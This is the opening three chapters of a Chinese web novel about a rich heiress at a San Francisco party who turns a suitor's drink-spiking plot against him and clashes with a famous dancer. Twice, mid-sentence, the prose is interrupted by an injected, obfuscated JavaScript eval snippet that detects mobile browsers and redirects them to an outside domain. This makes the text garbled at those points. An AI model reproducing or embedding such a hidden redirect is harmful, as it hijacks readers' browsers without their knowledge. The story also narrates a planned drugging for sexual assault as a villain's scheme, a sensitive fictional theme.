《谁都别拦我继承家产!》 1. 第 1 章 辛桐一脚踏进别墅的时候,整个大厅里密密麻麻的说话声瞬间全都停了。 别墅富丽堂皇,在座的人西装革履、礼服加身。 这里是旧金山,半岛狭长,海岸崎岖,北加州的海风四季吹拂。喻氏公子搬新家,在PacificHeights的独栋别墅里开了一个小型聚会,北美二代圈子几乎全部到场。 “辛桐!” “真的是辛桐……她也来了?” “原来她就是辛桐?森川集团那个扶不起来的蠢蛋?” “她来干什么?喻少爷也请了她?” 密密麻麻的讨论声混着人群的注视把辛桐重重围绕起来。 她却像没事人一样,踩着高跟鞋,红唇笑得散漫,冲着对她指指点点的人群还翘起脚尖做了一个wink,欠揍得不行。 迎面,酒会主人公喻承锦朝她走来,俊脸上挂着温和的笑,询问来意,“辛桐小姐这是……” 辛桐和喻承锦并不熟。 两个人只是学校碰巧都在旧金山,喻承锦名校就读、风光无限,而辛桐随便混了一所野鸡大学,两人简直云泥之别。 这场聚会来宾大多都是同圈层的精英二代,虽然氛围轻松,但是辛桐这种声名远播的玩咖也一定不在邀请对象之列。 既然和酒会主人都不熟,那她今天为什么还要来这里? ——“有趴体不叫我,你可真不够意思啊!” 喻承锦被辛桐这种理直气壮的熟稔语气弄得都有些懵了。但是他很快想到,这位整日灯红酒绿的大小姐估计只是单纯想参加party了,至于谁办的,她无所谓。 “百闻不如一见。”喻承锦迅速反应过来,“欢迎。” 他不仅没有流露出不屑,反而笑得温和儒雅,说了一些欢迎的场面话。 却见辛桐完全没怎么看他,一双眼睛圆溜溜的,盯着窗外院子里的游泳池,还扭扭捏捏地问能不能叫男模。 “……”喻承锦想起之前听过的关于这位辛桐小姐众多“荒淫无度”的传闻,沉默一秒,“我这就让人给会所老板打电话。” 辛大小姐终于眉开眼笑,冲着院子外的泳池就迈开脚步跑过去。 “少爷,真的要叫男模吗……”一旁察言观色许久的秘书犹豫着上前,却见喻承锦看着那个已经在草地中央撒欢的背影,有些无奈地点点头。 “嗯。叫。” 同处北美二代圈子,辛桐这种赫赫有名的“玩咖”传闻,也经常传到过喻承锦耳朵里。可是他倒不像其他人那样对辛桐避如蛇蝎,反而当作同等的宾客招待。 “何川就这么一个女儿,关系拉近点总没错。而且,”喻公子眼里闪过兴味的笑,“她其实还挺有趣的。” 喻大公子效率极高,叫的人很快就到了。辛桐躺在泳池边的躺椅上,一众各色帅哥列成两队,一个个向她问好。 皮肤白的,皮肤黑的,薄肌的,厚肌的,长发的,短发的,浓颜的,淡颜的……她眼睛都看花了,嘴角从一开始就没放下来过,眉开眼笑,“好!好!” 离她近的几个帅哥被她灼热的目光盯着,还颇有些羞涩,垂下狗狗眼,不好意思地笑。帅哥的羞涩看得辛桐热血沸腾,从躺椅上一跃而起。 “放音乐!” 鼓点节奏震天响,屋内屋外两个世界,辛桐混在一众帅哥男模里万花丛中过,玩得尽兴。男模全部都裸着上身,而辛桐却自始至终都裹得严严实实衣着整齐,所有男模都知道服务对象是谁,竭尽所能讨金主妈妈欢心,泳池边一整个人间天堂灯红酒绿纸醉金迷。 ——再看屋内。原本chill的氛围烟消云散,二代们似乎都没什么闲心再聊天了。辛桐一来就抢走了这场聚会的所有目光。 这场聚会本就随意,而以辛桐为中心的屋外泳池party氛围实在太好,慢慢也有些人坐不住了,开始走出去加入。 “切。有什么了不起。” 张家公子翻个白眼,看着泳池边辛桐拿着玩具钞票手枪对着人群喷,花花绿绿的现金漫天飞舞,居然还有很多人去抢,嗤笑道,“跟小屁孩一样,还抢玩具票子玩。” 旁边人却好几秒没说话,脸色古怪。 “那好像是真票。” “一百的美刀。” 张家公子:“……” 两支手枪喷了起码十几分钟的钞票,源源不断,辛桐举得手臂都累了。 周围音乐喧闹,人群三三两两,她把还没喷完的枪随手扔了,旁边男模们迅速都扑到草地上去抢那支玩具手枪。 她立刻从人群里钻出来,找了一个人稍微少点的地方,躺在椅子上闭目养神。妈呀,帅哥太多也是烦恼,一群人围着自己,太累! 她躺的地方旁边正好有几个年轻漂亮的女生在聊天。由于角度遮挡,没人看见她就在下面躺着,也没人知道她已经把她们聊天的话题听得一清二楚。 “Aiden来北美了?什么时候?” “就两周前!他来洛杉矶一个街舞比赛当评委!” “真的假的?你在哪得到的消息?” “我混进了一个街舞比赛赛事消息群,里面消息保真!我还去看了那场比赛,他就坐在评委席,天哪帅死了!” 几个女生纷纷陷入对神秘男子的回忆中,开始七嘴八舌地讨论他到底多么酷,多么帅,跳舞多么好看。 “圈里不是都传闻,他跟喻家公子喻承锦是好哥们吗?你们说,今天会不会……” 几个女生说到这里都瞬间激动起来。 大家都知道今晚是喻家公子的主场,这间别墅就是喻承锦名下的房产。 今夜是喻家公子办的搬家聚会,喻家公子所有朋友全都到场了,那Aiden作为喻家公子的好哥们,会不会也在现场? 一个女生环顾四周后迅速冷却下来。 “算了吧,聚会开始到现在,人都看了好几拨了,我都没见到他。唉,他那么神秘,估计是不会来这种场合。” “……说的也是。他平时都不爱搭理人的。” 另一个女生像是回忆起了什么,略有失望。 “上次我都让我爸赞助了他们舞团,结果庆功宴上,他还在大厅里堂而皇之地玩滑板,看都没看我一眼。这种社交party,他肯定不会来。” 几人各怀心思,开始讨论这种顶级冷面帅哥到底最后能被谁拿下。还没说完,前方半空中突然蹦出一个毛茸茸的脑袋。 “帅哥!哪里有帅哥?” 毛茸茸的脑袋转过来,几人这才发现是辛桐。她似乎是已经躺在下面很久了,头发都睡得有点乱,但是“帅哥”两个字就像是戳中了什么关键词,她一下子睁大眼睛,竖起耳朵。 “……你在这偷听了多久!”几人有点恼羞成怒。 辛桐看了一眼,中间那个女生就是刚刚说混进了赛事群、看了街舞比赛的那个女生。再一看脸,有点印象,是吴氏集团的小女儿,今年才十七岁。看来这小妹妹是个追星族。 “没偷听,光明正大听的。”辛桐再次不忘初心,“你们说的Aiden,是不是就是那个很有名的街舞dancer?” Aiden这个名字,几乎如雷贯耳,连辛桐这等草包都听过。 国内最厉害有名的街舞舞者之一,长相出众,能力斐然,国内最年轻的世界大赛冠军。 只是为人极其低调神秘,游戏人间厌恶名利,除了街舞相关活动之外从不出现,网民多方打探,都无法窥探私人生活一角,出身和真实姓名到现在都仍然是个谜。 辛桐起了点好奇心。能把这群养尊处优的大小姐都迷得五迷三道的,还混进赛事群去打探消息就为了见他一面,看来是真的很帅。 跳街舞的啊。她摩挲着下巴品味了一下,估计是那种潮男BKing,酷酷拽拽的那种,一听就很带劲。 “你!你什么表情!”吴家小姐看见辛桐摸着下巴一个人品味,顿时感觉像看见了方头明,“我不允许你意淫我家Aiden!” “啧,这是什么话。”辛桐看小妹妹年纪小,存了心思逗她,“我不仅意淫,我还苍蝇搓手垂涎他呢。” “你!”吴家小姐被气得脸红,“你以为他能看上你?谁不知道你是又好色又低俗的草包,整天包男模开party,是个脑袋空空的蠢蛋!” “非常好的介绍,偷了,以后我就这么介绍我自己。爱来自瓷器。”辛桐嘻 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他之前在室内就已经偷偷关注了辛桐许久,辛桐又是唱歌跳舞又是拿着玩具手枪洒钱,但是到现在居然滴酒未沾,甚至一口水都没有喝过。他心里隐隐奇怪,想着这次一定要成功,把那杯酒递到辛桐面前。 辛桐看了一眼酒里缓缓上升的气泡,接过来。又顺手把他的那杯也接过来。 然后在他没反应过来的迷茫眼神里,抬起脚,一脚把他踹进了泳池里。 “砰——”一团黑色的身躯伴随着尖叫砸进了水面,溅出了巨大的水花。 周围人群惊讶出声,所有人的目光都朝这边集中过来。辛桐在岸上哈哈大笑,眼泪都快笑出来。 张家公子钻出水面,变成了狼狈的落汤鸡,本就不多的头发湿哒哒贴在头顶。他一把抹掉脸上的水珠,还没来得及发火,一杯酒就被递到了他面前。 “对不起,我错了。诚恳道歉,碰个杯吧,冰释前嫌。” 辛桐一句话直接把他满腔怒火都堵在喉间,发也发不出来。周围所有人都看着他们两个人,他喘着气,脸色青青白白,只得在众人的目光下一把抢过辛桐手里的酒,草草碰了一下杯之后仰头干了。 干完,却发现辛桐站在岸上,笑眯眯地看着自己,手里那杯酒一口没喝。 “好喝吗?” 她笑得很无害,却说出了一句足以令他吓得肝胆俱裂的一句话,“你喝的是我那杯。” 话音落地,辛桐眼睁睁看着池子里的张家公子脸色瞬间白了,瞳孔地震,整个人静止在原地三秒钟,突然打了鸡血般手脚并用狼狈地爬上来,也不管浑身湿透,跌跌撞撞地就往外跑去。 她在后面,够着脖子望,自言自语,“溜得这么快?看来是加了狠东西啊。” 周围围观的人群没听见两人的对话,只是看见张家公子不小心掉进水池里之后又跑了,想来是去换衣服了。小插曲结束,音乐又继续。 辛桐垂下眸子。 刚刚离危险几乎只有一步之遥,她盯着手里那杯没动过的酒,转身把它倒在了地上,把酒杯塞给了服务生。 不知道为什么心情就突然有些差,她发现自己似乎走到哪里都不受欢迎。 辛桐远离了人群,慢慢往外走,不知不觉走到了院子的边缘。这里人很少,灯光昏暗,她看见转角的黑暗处竟然有一个小小的楼梯,楼梯往上,通向未知,上面一盏灯都没有,黑漆漆的。 想也没想就走了上去,不料没几步就到头了。往下一看,辛桐发出一声惊叹。 这里居然是二楼! 不,说是二楼不太准确,因为这里离一楼地面才不到两米,而且是一个凹进去的隐入黑暗的小平台,从这里往下可以鸟瞰整个后院以及整间别墅。 余光扫到了什么,她往左望去。 ——只见左边几步之外,黑暗的角落里,站着一个男人。 高大,瘦削,侧着身子随意搭着栏杆。一头金发即使在黑暗里也亮眼得惊人,长度到肩膀,被拢到耳后,露出耳垂上一枚小小的银质耳钉。 瘦窄脸,高挺鼻,眉眼一眼看过去只剩锋利,眼神冷冷地朝她扫过来。 2. 第 2 章 周围安静,耳边只有淡淡的风声,不远处院子里的灯光微微照过来。 他高瘦的身影隐在昏暗中,影影绰绰,混乱成一团。 这是一个无人注意的黑暗角落,是一个高于地面的隐秘平台。台上台下仿佛两个世界,他就这样安安静静站在黑暗里,在高处往下俯瞰着整座别墅里所有的人和事。 似乎发生的一切他都尽在掌控,又好像发生的一切他都不感兴趣。他只是这样站在远离人群的地方,淡淡地、冷冷地观察。 ——而辛桐,此时此刻就成为了那个突然闯入他领地的陌生人。 辛桐愣在原地。 她不仅没有离开,反而变本加厉一直呆呆地盯着那男人看,眼神几乎黏在他身上。 金发男子眉心皱起。 他略微歪了歪头,居高临下地睨着她,凌厉眼神里满是不耐和冰冷的寒意。 两人间隔着三四米,可是那男人散发出的侵略感却像隔空渗透进空气里,密密麻麻把辛桐包围。 她低头,那人高大,就连影子也长,昏暗灯光下不明显却铺天盖地把她的影子都包在里面。 ……她晃了晃脑袋。说实话,她腿软了。 是被帅软的。 她站在原地两秒,思考了一会,随后开口,说出了一句自认为十分随和友好的开场白。 ——“你哪个会所的?” 周围一片死寂。没人说话。 辛桐:“以前没见过你啊,新面孔?” 辛桐:“今年多大了?” 辛桐:“在读书吗?” 救风尘三连问。 她脸上挂着最亲和鼓励的微笑,语气温和,眉眼柔缓,一般来说这种时候性子再烈的男模此时也软和下来了,心甘情愿地开始给辛桐讲起他们的悲惨经历和下海过程,然后用别扭的亮晶晶的期待眼神看着她,她再一掷千金买酒,彻底收服。 一般都是这个流程。 可是现在,站在她面前的这个帅得惊天地泣鬼神的金发男人。 抿着唇,一言不发,冷冷地瞪了她一眼。 哟,不说话? 辛桐来劲了。 “玩这套?你怎么知道我就喜欢这种叛逆的?”她心情很好地走近两步,仰头看着男人。 短短几十厘米的距离,几乎可以闻见男人身上浅淡的木质香调,不浓烈但是很好闻。 辛桐心都跟着颤了两下,四目相对,像有火焰在对视中燃烧。 “姚老板介绍你来的吧。她知道我就喜欢你这款。” 辛桐压低声音,眼睛都快成星星眼了,笑得暧昧又不怀好意。 “还跟我玩这种冷脸play?” 抬眸对上男人黑沉沉的眼睛。他眼睛很好看,卧蚕明显,甚至还有些下垂,但是在他那张凌厉的脸上显得莫名更加锋利。 他垂眸,满眼嘲弄,居高临下看着辛桐,终于开了口,说出了两人见面以来第一句话。 “你还是先担心一下那位张家公子的报复吧。” 语气阴森得像是浓黑的雾。 声音低沉,有点沙哑,听得辛桐骨头都酥了半边。 “你说什么?” 她晕乎乎地没反应过来,品味了好几秒他说的话才意识到他是什么意思,不由自主伸出脖子,朝平台下看了看——这个角度看,院子里和别墅室内几乎所有角落都一览无余。 怪不得呢,辛桐恍然大悟。 看来从自己走进这个别墅开始,到现在,发生的一切事情都没逃过他的眼睛,他就像一个高高在上的冷漠的神,站在高处观察着所有人和事。 “你刚刚看见了?”辛桐自豪拍拍胸脯,“我厉害吧?两下就把他踹进泳池了。” “你怕我被他报复?” “你担心我?” “你关心我?” 辛桐穷追不舍,踮起脚尖去仔细观察男人表情,却只看见面前男人越来越黑的脸色和周身越来越低的气压。 他慢条斯理侧过头,从上到下把辛桐打量了一遍,最后目光停留在她穿了长裤的腿上。 随后又收回目光,再次看向平台下方,只留给辛桐一个冷漠无比的棱角分明的侧脸。 辛桐不高兴了。玩情趣玩这么久也该够了吧,搞清楚谁是金主了吗?老姚怎么给他做的员工培训?怎么耐心跟他聊了半天还是这样一副死人脸? 辛桐这人本来就没什么耐心,尤其是花钱点男模的时候。她皱起眉头,盯着男人身上的衣服,直接就上手抓住掀开,正准备摸两把—— 突然手腕被一股大力抓住。 下一秒整个人都被抱起来,随后失重感骤然袭来,天旋地转,她直接被从二楼扔了下去。 “我靠——” “啊啊啊啊啊啊啊啊” 辛桐尖叫着一路下坠,屁股接触到什么东西又整个人被弹飞起来,最后以一个十分不雅观的姿势砸在了什么东西上,摔了个狗啃屎。 周围响起女人男人惊讶的尖叫声和吸气声,她脸朝下埋在一个软软的东西里,四肢乱动,挣扎了好一会才费力气喘吁吁地爬起来—— 这下她终于看明白了,自己原来砸在了一个巨大巨厚的软垫上。晃了晃,好像还能听见水声,是个派对娱乐用的水床软垫,刚刚一直有很多人都坐在上面喝酒聊天。 再朝四周一看,所有女人男人全部都瞠目结舌地看着自己,以自己为圆心半径三米迅速散开。整个院子连音乐声都停了,人群的目光像众多尖锐的剑,刺得辛桐脸发热。 辛桐想象了一下自己刚刚摔下来的情景,以下面人的视角看,就是从天而降一颗原子弹砸在了软垫正中间,怪不得这些人全都尖叫着四散而逃,满脸惊恐地看着自己。 “辛桐?” “是她?” 人群中零零散散响起一些说话声,众人发现是她,全都哄笑起来。 “真是个蠢蛋,居然还能摔下来,跟块陨石似的。” “真同情何川,生意做得这么大,森川集团这几年发展得这么好,怎么就生了这么一个女儿?烂泥扶不上墙。” 她脑子现在还有点晕,血液上涌,心跳很快。眼下第一反应是会不会走光,于是马上低头看了看,这才想起来自己今天穿的长裤。 等等!她脑子里突然闪过一条白线。 刚刚那个男人,最后看她腿的那一眼,难道就是为了确认她今天穿的是裙子还是裤子? 发现自己穿的是裤子,不会走光,所以他想也没想就把自己直接从上面扔了下来。 ……辛桐咬了咬牙。 那个平台离地面才两米左右,这个软垫本身就已经很厚了,他又是看准了软垫的位置正对着扔下来的,所以辛桐现在一点事都没有,甚至连痛感都甚少。 比起“谋杀”这两个字,“被她烦得想让她闭嘴”显然更适合形容那男人的行为。 被害得当众出丑,辛桐气急,三下五除二爬起来,头发散乱,转过身,生气地指着楼上,刚想破口大骂。 然而下一秒,话到嘴边滚了两圈却迟迟说不出来。 ——因为她分明看见,自己刚刚才真切站在上面的二楼小平台,此时竟然完全消失了。从下面往上看,上方一盏灯都没有,别墅墙体漆黑一片,什么都看不见。 平台像是消失了,他也像是消失了。 院子吵闹,人群喧哗,这个世界好像只有她刚刚才见过那个男人。 就那一面,就那一瞬。 没人知道那个男人的存在,除了她。 周围密密麻麻的讨论声渐渐熄下来,众人见辛桐疯疯癫癫出了丑,慢慢也失了兴趣。音乐重新响起,四周又只剩她一个人。 浑身气血上涌,额头冒汗,她从软垫上爬下来,抬脚就要再次走上楼梯去找那人算账。 不料,远远看见几人朝她的方向急匆匆走来,为首的正是这场宴会的主人,喻氏集团的少爷,喻承锦。 他刚刚听见喧闹声,立刻就赶了过来,对上了辛桐怒气冲冲的质问。辛桐愤怒控诉表示要找会所老板投诉,二楼那个员工极其傲慢,问话不答,脸臭冷淡,居然还把客人扔下来了,这是一个会所少爷该有的工作态度吗?! ……会所少爷? 喻承锦脸上愣怔几秒。 抬头,看看二楼那个隐匿在黑暗中的平台。 又低头,看看眼前愤怒的辛桐。 扶额,想到了什么,脸上闪过极其复杂的神色。 ……确实是少爷没错。 只是,不是“会所”少爷。 他沉默好几秒,最终还是开口,“我的错,辛小姐勿怪。我把会所老板叫过来,要什么样的男模你说,全部记我账上。” 他的错? 这事跟喻承锦有什么关系? 辛桐脑子一时没反应过来。但是看他诚恳道歉,她也无意找无辜的人麻烦,暗自生了一会闷气也就算了,哼哼唧唧点点头,“放心好了,我自己买单,谢谢喻公子。改天回国我请你吃饭。” 在喻承锦授意下,姚老板很快赶到,身后还跟了一群新的男模。辛桐都有些不好意思,可是喻承锦沉着脸说“要最好的,越多越好,让辛小姐高兴”。 她挠挠头,仍是想不明白,为什么喻承锦会对于自己被那男人扔下来这件事如此抱歉,并且做出一副要替那男人负责的态度。 算了,想不明白就不想了。辛桐此人吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281679|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝玩乐享受人生,最讨厌思考问题。 喻承锦把一切都给她准备好了,她躺在泳池边的躺椅上,惬意欣赏起帅哥男模给她跳钢管舞。现场像极了magicmike,周围女生都尖叫着开始录视频,派对气氛再次被炒到高潮。 帅哥数量更多了,穿得更少了,各种类型环肥燕瘦应有尽有。 本该更高兴的,不是吗? 可是辛桐躺在椅子上,看着眼前一众帅哥穿着清凉、努力讨好自己的样子,突然就有些意兴阑珊。 没意思。 有点无聊。 没什么挑战。 心里不知为何空落落的,原本享受的心情此刻也变得平淡下来。这里人好多,声音也吵闹,人影晃晃,纷杂繁乱,她闭上眼,脑子里却闪过那个隐匿在安静黑暗里的高大身影。 金发已经足够亮眼个性,却还留了一个男生少有的到肩膀的长度,看上去锋利硬朗又不好惹。耳钉亮晶晶的,修长瘦削的手指上似乎也戴了银戒,黑暗中一闪而过。 高挑瘦长,肩宽腰细,比例也很好。虽然瘦,但是怎么还挺有劲的,两只手一抓就轻轻松松把自己抱起来了,都没费什么力气。 窄脸,眉骨立体,鼻梁高挺,第一眼看过去非常锋利,攻击性十足,带有强烈的叛逆感。眼神冷冷地扫过来的时候,像是一团火,暗夜里明明灭灭,红与黑交叠。 ……辛桐烦躁地啧了一声。 耳边女生们的尖叫把她的思绪拉了回来。面前的男模还在卖力跳钢管舞,她撇嘴从包里掏出一叠美刀,百无聊赖地洒向天空。人群欢呼,震耳欲聋。 ——“辛桐!” 突然,一声怒吼打破现场火热的气氛。 人群停滞,回头望去,只见一又矮又胖的年轻男子站在后院口,咬着牙伸出手,颤抖指着人群中众星捧月的辛桐。 “你给我出来!” 正是刚刚被骗喝了酒又掉进泳池的张家公子,张德。 此时他似乎是换了一身衣服,神色狼狈,脸色苍白,看上去刚刚离开的过程里很是受了一番折磨。 张德早就看辛桐不顺眼了。 一个女的,在外面花天酒地,不知羞耻,整天包男模,一点女人的样子都没有!看在森川集团这几年的势头,以及辛桐独生女的身份,他才动了娶她的心思,毕竟辛桐行事虽浪荡,但是长相清纯身材好,玩够了之后就扔在家里,他也不亏。更重要的是,要是成了何川的女婿,以后真可谓是平步青云。 可辛桐这贱女人,不知好歹,拒绝了自己,害得自己在全城人面前丢脸! 辛桐今夜会突然出现在喻承锦办的聚会上,对张德来说算是意外。但是他很快意识到,这是个报复的好机会。 酒里是他很久之前就找人弄来的药,下了十足十的量,喝下去牛都撂倒了,足够让辛桐丧失理智当众发情。他再把人带上楼,先爽玩一番,再设计让其他人撞破,最后令辛桐声名狼藉,再也无人敢娶这个被玩烂了的贱货。 可是!他竟然又被这个草包给骗了!害得他当众跌落泳池、喝下了药,紧急叫了私人医生过来处理,恢复回来的时候满头大汗脚步虚浮,命都差点没了。 张德恨得牙痒,什么面子身份全都顾不上了,换了身衣服就匆匆赶回来,怒火烧干了他所有理智,他只想撕烂她那张可恶的脸! “我爸当年创办张氏的时候,何川还不知道在什么地方当他的倒插门女婿呢!我张家最鼎盛的时候亿万家业,全梧城见到我爸都要低头!” “我张德北美留学,名校毕业,哈佛全A,创业的公司纳斯达克上市,我就是人中龙凤,上流精英!而你,愚蠢低俗,野鸡文凭,脑袋空空,所有人都知道你辛桐是个十足的废物!” “我告诉你,我看上你,你应该感恩戴德!你这种不知羞耻的淫/荡货色,就算脱光了送我床上我都不要!” 全场安静。 劲歌热舞全部暂停,刚刚还和谐的氛围荡然无存,偌大的院子里回荡着张德气急败坏的痛骂声。 全场人的目光,都全部集中于那个正躺在泳池边的女人身上。 ——可是大家却看见,那女人平静得离谱。 辛桐就像没听见那些污言秽语,也并不在意张德话里的当事人是否是她。所有“蠢货”“淫/荡”“废物”的标签被贴在她身上,而她却只是这样闲散地、无聊地躺着,任由痛骂。 突然,她的目光扫到了某个角落。定格。 眼睛刷地亮了,直起身体。 随后,在众目睽睽之下,在张德愤怒的痛骂声中,辛桐站起身,眼睛眨也不眨地盯着那个角落,一步步朝着那里走过去,最后一把抓住了一个人的手臂。 3. 第 3 章 辛桐以前是美术生,学画画的。 虽然大家都说她是一个什么都不会的蠢蛋,事实上也确实如此,但是她却能在分辨颜色这件事上展示出那么一点点的天赋。 所以当张德痛骂她淫/荡废物、所有人的注意力都被张德吸引走的时候。 她眯着眼睛,几乎是一眼,就在人群中院子里某个昏暗的角落里,精准抓住了一抹亮金色。 “嘿嘿,抓住你了吧。” 手心里隔着薄薄的深色衣料,是男人有力的手臂,精瘦结实。 抬眸对上男人低垂的视线。 “刚刚不是还在二楼吗?怎么转眼之间就下来了。” 她踮起脚尖,用只有两人才能听见的音量小声说话。 瞳孔亮晶晶的,透着狡黠的笑。 “之前在二楼提醒我小心张德报复,现在张德一回来骂我,你就下来了。我看你也是很关心我吧。” 男人冷淡抿着唇,脸色并不怎么好看,垂眸看着她,不说话。 辛桐眨了眨眼睛,刚刚被他从二楼扔下砸到软垫上到现在屁股还在隐隐作痛。她突然笑了一下,盯着他的眼睛,一字一句道: “给你一个道歉的机会。让我摸一下腹肌,我就原谅你。” 全场哗然。 谁能想到这位森川集团家的大小姐被张氏公子当面言语侮辱骂成这样,都还跟没事人似地气定神闲,不仅当他是空气,居然还直接跟角落里一位金发帅哥当众调起了情! 辛桐根本没打算等到他的回应。 此时不摸更待何时,她瞅准机会,瞬间就把手伸进了他衣服下摆。 她动作太快,几秒钟之内就已经得逞了,连被摸的人都没反应过来。 冰凉凉的小手蛇一般灵活地钻进了那人衣服里,辛桐听见头顶传来“嘶”的一声,似乎是被冰得一震。 右手顺着沟壑明显的腹肌往上游离,摸到饱满的胸肌时一顿,随后毫不犹豫地恶劣地用力掐了一下尖端,果不其然换来男人应接不暇的一声闷哼。 越摸越兴奋,盯着男人挺翘的屁股又不怕死地用力打了一下。 “啪——”地一声。 极其响亮。 周围安静,空气都似乎凝滞。 她兴奋地眼睛都亮了,下一秒已经准备奔着男人的裆部去了——突然手腕被当场抓住。 对方力气极大,她动都动不了。 “摸。够。了。吗。” 头顶响起一个咬牙切齿的阴森声音,几乎一字一顿。 没有。辛桐在心里立即遗憾地回答。 但是她马上摆出一副“不过如此”的表情,嘁了一声。 “你这人,长得还行,态度太差。下次再也不点你了。” ……一句话,成功让男人的脸色黑成锅底。 摸完之后也该解决正事了,辛桐没再看他,收回了手,慢悠悠地转身,面向已经被气得火冒三丈的张德。 眼看着张德气得牙关咯咯作响,似乎马上又要大破防爆发出一系列高贵精英吊打下流废物的荡/妇羞辱肮脏小作文,辛桐情绪极其稳定地伸出一根手指。 “第一,你长得很丑。” 张德明显愣住了。 围观的众人都愣住了。 “第二,你长得非常丑。” “第三,你又矮又丑。” ……众人皆陷入沉默。 简简单单、朴素明了的三句话,杀伤力却比什么都大! 张德握紧拳头,脸憋得通红,气得咬牙切齿。 他像是被钉在原地,胸膛剧烈起伏,死死盯着辛桐,一个字都说不出来。 “你,你……” 他脸色苍白,刚刚误喝了酒里的药,身体还没完全恢复就直接赶了过来,脑子昏沉脚步虚浮,此时都快要倒了,勉力支撑着身体,胡乱怒吼道,“我名校毕业,成功创业,这是不争的事实!我就是比你优秀,比你能力强!你个废物有什么资格说我!” 比起张德的歇斯底里,辛桐此时冷静得可怕。 她其实有一万种反驳张德的办法,毕竟此人五毒俱全,做出来的事都足够让他去牢里蹲着了。只是辛桐深谙吵架的基本法则,讲小作文是没用的,跟这种烂人打擂台,就得一击必胜。 她淡淡开口,“你有一个哥哥吧。” 短短一句话,张德的脸色刷的就白了。 “你和你哥哥近几年在你父亲面前争家产争得不可开交,闹得上法庭了,这件事早就人尽皆知。你做的所有这些成就,不过是为了在你父亲面前表现你有多么优秀,表现你比你哥更有能力继承家产。只可惜,都做到这种程度了,最后你哥还是分到了20%的股份。而你只有7%。” 辛桐顶着众人的目光,露出了一个羞涩的笑。 “不好意思啊,我是独生女。” “不管我混成什么样,我家所有家产,全都是我一个人的。” ……周围陷入一片死寂。 不知道谁喊了一声,“张公子!张公子!”众人这才看见,张德竟然已经被气得一头倒在了地上,脸色惨白,额头冒汗,呼吸急促,直翻白眼,看上去马上就要一命归西。 门口保镖听见动静立刻出动,浩浩荡荡来了一批黑墨镜,把人手忙脚乱扛起来就上车了,一路飞驰,匆匆离开。 …… 辛桐站在原地,挠了挠头。 这可不能怪她啊!张德气冲冲找来的时候就已经脚步虚浮了,他能昏倒过去,最大可能是因为那杯酒里的药。要不是她换了酒,现在昏倒的就是她了。 说来说去,偷鸡不成蚀把米,活该而已。 突然,辛桐感觉到耳边响起一道低沉的声音。贴着她耳朵说出来的,沙哑,混着男人刻意压低的呼吸。 “你很擅长报复。” 语气凉凉,听不出是夸奖还是讽刺。 她一抖,转过头去,果然撞见男人那双凌厉冷淡的眸子。 报复? 确实,解决了今晚第一应该报复的人,现在就应该解决今晚第二应该报复的人了。 “那当然啦。” 出乎男人意料的,这个好色贪玩的废物大小姐此时却突然嘻嘻一笑。 随后慢悠悠迈出几步,绕到他身后,迅速抬起脚,趁男人不注意,用力一脚把人踢进了游泳池。 “砰——”水花四溅,周围响起女人男人乱七八糟的尖叫声和吸气声,人群再次喧闹起来。 众人震惊,亲眼目睹了这位森川集团大小姐辛桐竟然在气晕了张家公子之后,又一脚把刚刚还柔情蜜意当众调情的金发帅哥也踹进了游泳池! 岸上,辛桐踩着高跟鞋,抚掌哈哈大笑。 “爽!” “谁让你把我从二楼扔下来的!” “报复成功!” 淡蓝色的水池波光粼粼,男人浑身湿透,深色的衣服洇出肩膀和胸前隐隐约约的肌肉轮廓,紧密地湿润地贴合。 透明的水珠顺着凌厉的脸部轮廓一滴滴往下滑落,他右手抓了把头发,金发顺着他的动作湿成一缕一缕,贴在脸侧。 “哎!”辛桐不高兴了,“怎么这么狼狈的时候你还这么帅啊。” “……”泳池里的男人似乎是气笑了,黑眸清亮幽深,眼底像是燃着一团火,紧紧盯着岸上的她。 这边的动静越闹越大,周围越来越多的人围了过来。辛桐看着周围逐渐多起来的人,想起自己之前被这男人从二楼扔下来结果被所有人围观嘲笑的场景,心里更舒爽了。 哼!你也有今天! 可是她还没爽个几秒钟,就突然听见人群中间响起几道女生的尖叫声。 “天哪,Aiden!” “是Aid ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281680|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' en!” 吴氏千金捂着嘴惊叫。 这个英文名字一出来,一下子引发了人群密密麻麻的讨论声。 不是所有人都认识泳池里的这个金发男人的脸,可是如果说起Aiden,那只有一位。 “Aiden?哪个Aiden?” “你傻啊!还能有哪个Aiden!” “什么!他就是Aiden?他不是一直在国内吗!” “之前都说喻承锦喻公子和Aiden是好朋友,我还不信,现在都出现在这里了,看来是真的啊!” “原来他就是Aiden……之前看照片觉得也就那样,现在看确实帅,怪不得听说之前圈子里好几位千金狂追他……” “卧槽,他怎么掉进泳池里了!” 众人的讨论声一个字不落全都飘进了辛桐耳朵里。 他们越多说一句,她的表情就越凝滞。 直到听见“JesusChrist,辛桐那个蠢蛋不仅打了Aiden屁股,还当着这么多人的面把他踢进泳池里了!今天晚上怎么这么多瓜吃!”的时候,她的笑容终于完完全全僵在脸上。 泳池里金发男人朝她投射过来的阴森目光实在是太过强烈侵略,辛桐视线回避,揉揉鼻子。 “什么嘛,原来你就是Aiden?” “A吧啦,你很有名。” “我说呢,一个男模怎么还这么装逼,原来不是男模啊……误会误会,呵呵。你扔我一次,我还你一次,很公平嘛。打平了,和好吧。” 她嘟囔着,脸颊红红,顶着男人强烈的目光注视,蹲在池边,朝他伸出了手。 